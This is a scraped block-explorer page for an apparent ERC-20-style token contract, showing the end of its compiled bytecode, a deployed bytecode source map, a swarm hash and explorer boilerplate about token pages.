ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611255576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061130f826112e4565b9050919050565b61131f81611304565b811461132a57600080fd5b50565b60008135905061133c81611316565b92915050565b600060208284031215611358576113576112df565b5b60006113668482850161132d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113a957808201518184015260208101905061138e565b60008484015250505050565b6000601f19601f8301169050919050565b60006113d18261136f565b6113db818561137a565b93506113eb81856020860161138b565b6113f4816113b5565b840191505092915050565b6000602082019050818103600083015261141981846113c6565b905092915050565b6000819050919050565b61143481611421565b811461143f57600080fd5b50565b6000813590506114518161142b565b92915050565b6000806040838503121561146e5761146d6112df565b5b600061147c8582860161132d565b925050602061148d85828601611442565b9150509250929050565b60008115159050919050565b6114ac81611497565b82525050565b60006020820190506114c760008301846114a3565b92915050565b6114d681611421565b82525050565b60006020820190506114f160008301846114cd565b92915050565b6000806000606084860312156115105761150f6112df565b5b600061151e8682870161132d565b935050602061152f8682870161132d565b925050604061154086828701611442565b9150509250925092565b600060ff82169050919050565b6115608161154a565b82525050565b600060208201905061157b6000830184611557565b92915050565b61158a81611304565b82525050565b60006020820190506115a56000830184611581565b92915050565b600080604083850312156115c2576115c16112df565b5b60006115d08582860161132d565b92505060206115e18582860161132d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156116715780860481111561164d5761164c6115eb565b5b600185161561165c5780820291505b808102905061166a8561161a565b9450611631565b94509492505050565b60008261168a5760019050611746565b816116985760009050611746565b81600181146116ae57600281146116b8576116e7565b6001915050611746565b60ff8411156116ca576116c96115eb565b5b8360020a9150848211156116e1576116e06115eb565b5b50611746565b5060208310610133831016604e8410600b841016171561171c5782820a905083811115611717576117166115eb565b5b611746565b6117298484846001611627565b925090508184048111156117405761173f6115eb565b5b81810290505b9392505050565b600061175882611421565b91506117638361154a565b92506117907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461167a565b905092915050565b60006117a382611421565b91506117ae83611421565b92508282026117bc81611421565b915082820484148315176117d3576117d26115eb565b5b5092915050565b60006117e582611421565b91506117f083611421565b9250828203905081811115611808576118076115eb565b5b92915050565b600061181982611421565b915061182483611421565b925082820190508082111561183c5761183b6115eb565b5b9291505056fea26469706673582212202797a2cd917a37f8a24dbc91dbe3044a90910e3ec27bb1b6b47adf921ad8067764736f6c63430008110033

Deployed Bytecode Sourcemap

2208:3068:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3791:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3914:131;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2837:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3473:214;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3114:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4049:746;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3023:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3208:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2017:178;;;:::i;:::-;;1930:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2928:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4799:476;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3691:90;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3322:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3791:119;3839:2;:14;3842:10;3839:14;;;;;;;;;;;;;;;;;;;;;;;;;3836:73;;;3877:2;:5;3880:1;3877:5;;;;;;;;;;;;;;;;;;;;;;;;;3876:6;3868:15;;;;;;3902:4;3894:2;:5;3897:1;3894:5;;;;;;;;;;;;;;;;:12;;;;;;;;;;;;;;;;;;3836:73;3791:119;:::o;3914:131::-;3977:11;;;;;;;;;;;3963:25;;:10;:25;;;3960:84;;4012:2;:5;4015:1;4012:5;;;;;;;;;;;;;;;;;;;;;;;;;4011:6;4003:15;;;;;;4037:4;4029:2;:5;4032:1;4029:5;;;;;;;;;;;;;;;;:12;;;;;;;;;;;;;;;;;;3960:84;3914:131;:::o;2837:83::-;2874:13;2907:5;;;;;;;;;;;;;;;;;2900:12;;2837:83;:::o;3473:214::-;3539:12;3603:6;3568:11;:23;3580:10;3568:23;;;;;;;;;;;;;;;:32;3592:7;3568:32;;;;;;;;;;;;;;;:41;;;;3646:7;3625:37;;3634:10;3625:37;;;3655:6;3625:37;;;;;;:::i;:::-;;;;;;;;3680:4;3673:11;;3473:214;;;;:::o;3114:86::-;3159:7;2527:1;2581:2;:13;;;;:::i;:::-;2569:9;:25;;;;:::i;:::-;3179:13;;3114:86;:::o;4049:746::-;4138:12;4177:11;;;;;;;;;;;4167:21;;:6;:21;;;4164:272;;4220:2;:10;4223:6;4220:10;;;;;;;;;;;;;;;;4210:6;:20;;4202:29;;;;;;4256:6;4242:2;:10;4245:6;4242:10;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;4292:6;4275:2;:13;4278:9;4275:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4347:6;4312:11;:19;4324:6;4312:19;;;;;;;;;;;;;;;:31;4332:10;4312:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;4393:9;4369:42;;4379:12;;;;;;;;;;;4369:42;;;4404:6;4369:42;;;;;;:::i;:::-;;;;;;;;4429:4;4422:11;;;;4164:272;4456:2;:13;4459:9;4456:13;;;;;;;;;;;;;;;;;;;;;;;;;4452:342;;4488:2;:10;4491:6;4488:10;;;;;;;;;;;;;;;;;;;;;;;;;4484:309;;4530:2;:10;4533:6;4530:10;;;;;;;;;;;;;;;;4520:6;:20;;4512:29;;;;;;4570:11;:19;4582:6;4570:19;;;;;;;;;;;;;;;:31;4590:10;4570:31;;;;;;;;;;;;;;;;4560:6;:41;;4552:50;;;;;;4627:6;4613:2;:10;4616:6;4613:10;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;4661:6;4644:2;:13;4647:9;4644:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4711:6;4676:11;:19;4688:6;4676:19;;;;;;;;;;;;;;;:31;4696:10;4676:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;4750:9;4733:35;;4742:6;4733:35;;;4761:6;4733:35;;;;;;:::i;:::-;;;;;;;;4786:4;4779:11;;;;4484:309;4452:342;4049:746;;;;;;:::o;3023:83::-;3064:5;2527:1;3082:16;;3023:83;:::o;3208:104::-;3266:7;3293:2;:11;3296:7;3293:11;;;;;;;;;;;;;;;;3286:18;;3208:104;;;:::o;2017:178::-;2094:6;;;;;;;;;;2080:20;;:10;:20;;;2072:29;;;;;;2154:1;2117:40;;2138:6;;;;;;;;;;2117:40;;;;;;;;;;;;2185:1;2168:6;;:19;;;;;;;;;;;;;;;;;;2017:178::o;1930:79::-;1968:7;1995:6;;;;;;;;;;;1988:13;;1930:79;:::o;2928:87::-;2967:13;3000:7;;;;;;;;;;;;;;;;;2993:14;;2928:87;:::o;4799:476::-;4877:11;;;;;;;;;;;4863:25;;:10;:25;;;4860:177;;4928:1;4910:2;:14;4913:10;4910:14;;;;;;;;;;;;;;;;:19;;4902:28;;;;;;4959:1;4941:2;:14;4944:10;4941:14;;;;;;;;;;;;;;;;:19;;;;;;;:::i;:::-;;;;;;;;4985:1;4973:2;:8;4976:4;4973:8;;;;;;;;;;;;;;;;:13;;;;;;;:::i;:::-;;;;;;;;5027:4;5003:32;;5013:12;;;;;;;;;;;5003:32;;;5033:1;5003:32;;;;;;:::i;:::-;;;;;;;;4860:177;5050:2;:14;5053:10;5050:14;;;;;;;;;;;;;;;;;;;;;;;;;5047:34;;;5078:1;5067:2;:8;5070:4;5067:8;;;;;;;;;;;;;;;:12;;;;5047:34;5096:2;:14;5099:10;5096:14;;;;;;;;;;;;;;;;;;;;;;;;;5092:182;;5149:1;5131:2;:14;5134:10;5131:14;;;;;;;;;;;;;;;;:19;;5123:28;;;;;;5180:1;5162:2;:14;5165:10;5162:14;;;;;;;;;;;;;;;;:19;;;;;;;:::i;:::-;;;;;;;;5206:1;5194:2;:8;5197:4;5194:8;;;;;;;;;;;;;;;;:13;;;;;;;:::i;:::-;;;;;;;;5254:4;5233:29;;5242:10;5233:29;;;5260:1;5233:29;;;;;;:::i;:::-;;;;;;;;5092:182;4799:476;;:::o;3691:90::-;3737:2;:14;3740:10;3737:14;;;;;;;;;;;;;;;;;;;;;;;;;3734:46;;;3773:5;3765:2;:5;3768:1;3765:5;;;;;;;;;;;;;;;;:13;;;;;;;;;;;;;;;;;;3734:46;3691:90;:::o;3322:135::-;3395:7;3422:11;:18;3434:5;3422:18;;;;;;;;;;;;;;;:27;3441:7;3422:27;;;;;;;;;;;;;;;;3415:34;;3322:135;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:102;6248:8;6295:5;6292:1;6288:13;6267:34;;6206:102;;;:::o;6314:848::-;6375:5;6382:4;6406:6;6397:15;;6430:5;6421:14;;6444:712;6465:1;6455:8;6452:15;6444:712;;;6560:4;6555:3;6551:14;6545:4;6542:24;6539:50;;;6569:18;;:::i;:::-;6539:50;6619:1;6609:8;6605:16;6602:451;;;7034:4;7027:5;7023:16;7014:25;;6602:451;7084:4;7078;7074:15;7066:23;;7114:32;7137:8;7114:32;:::i;:::-;7102:44;;6444:712;;;6314:848;;;;;;;:::o;7168:1073::-;7222:5;7413:8;7403:40;;7434:1;7425:10;;7436:5;;7403:40;7462:4;7452:36;;7479:1;7470:10;;7481:5;;7452:36;7548:4;7596:1;7591:27;;;;7632:1;7627:191;;;;7541:277;;7591:27;7609:1;7600:10;;7611:5;;;7627:191;7672:3;7662:8;7659:17;7656:43;;;7679:18;;:::i;:::-;7656:43;7728:8;7725:1;7721:16;7712:25;;7763:3;7756:5;7753:14;7750:40;;;7770:18;;:::i;:::-;7750:40;7803:5;;;7541:277;;7927:2;7917:8;7914:16;7908:3;7902:4;7899:13;7895:36;7877:2;7867:8;7864:16;7859:2;7853:4;7850:12;7846:35;7830:111;7827:246;;;7983:8;7977:4;7973:19;7964:28;;8018:3;8011:5;8008:14;8005:40;;;8025:18;;:::i;:::-;8005:40;8058:5;;7827:246;8098:42;8136:3;8126:8;8120:4;8117:1;8098:42;:::i;:::-;8083:57;;;;8172:4;8167:3;8163:14;8156:5;8153:25;8150:51;;;8181:18;;:::i;:::-;8150:51;8230:4;8223:5;8219:16;8210:25;;7168:1073;;;;;;:::o;8247:281::-;8305:5;8329:23;8347:4;8329:23;:::i;:::-;8321:31;;8373:25;8389:8;8373:25;:::i;:::-;8361:37;;8417:104;8454:66;8444:8;8438:4;8417:104;:::i;:::-;8408:113;;8247:281;;;;:::o;8534:410::-;8574:7;8597:20;8615:1;8597:20;:::i;:::-;8592:25;;8631:20;8649:1;8631:20;:::i;:::-;8626:25;;8686:1;8683;8679:9;8708:30;8726:11;8708:30;:::i;:::-;8697:41;;8887:1;8878:7;8874:15;8871:1;8868:22;8848:1;8841:9;8821:83;8798:139;;8917:18;;:::i;:::-;8798:139;8582:362;8534:410;;;;:::o;8950:194::-;8990:4;9010:20;9028:1;9010:20;:::i;:::-;9005:25;;9044:20;9062:1;9044:20;:::i;:::-;9039:25;;9088:1;9085;9081:9;9073:17;;9112:1;9106:4;9103:11;9100:37;;;9117:18;;:::i;:::-;9100:37;8950:194;;;;:::o;9150:191::-;9190:3;9209:20;9227:1;9209:20;:::i;:::-;9204:25;;9243:20;9261:1;9243:20;:::i;:::-;9238:25;;9286:1;9283;9279:9;9272:16;;9307:3;9304:1;9301:10;9298:36;;;9314:18;;:::i;:::-;9298:36;9150:191;;;;:::o

Swarm Source

ipfs://2797a2cd917a37f8a24dbc91dbe3044a90910e3ec27bb1b6b47adf921ad80677
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.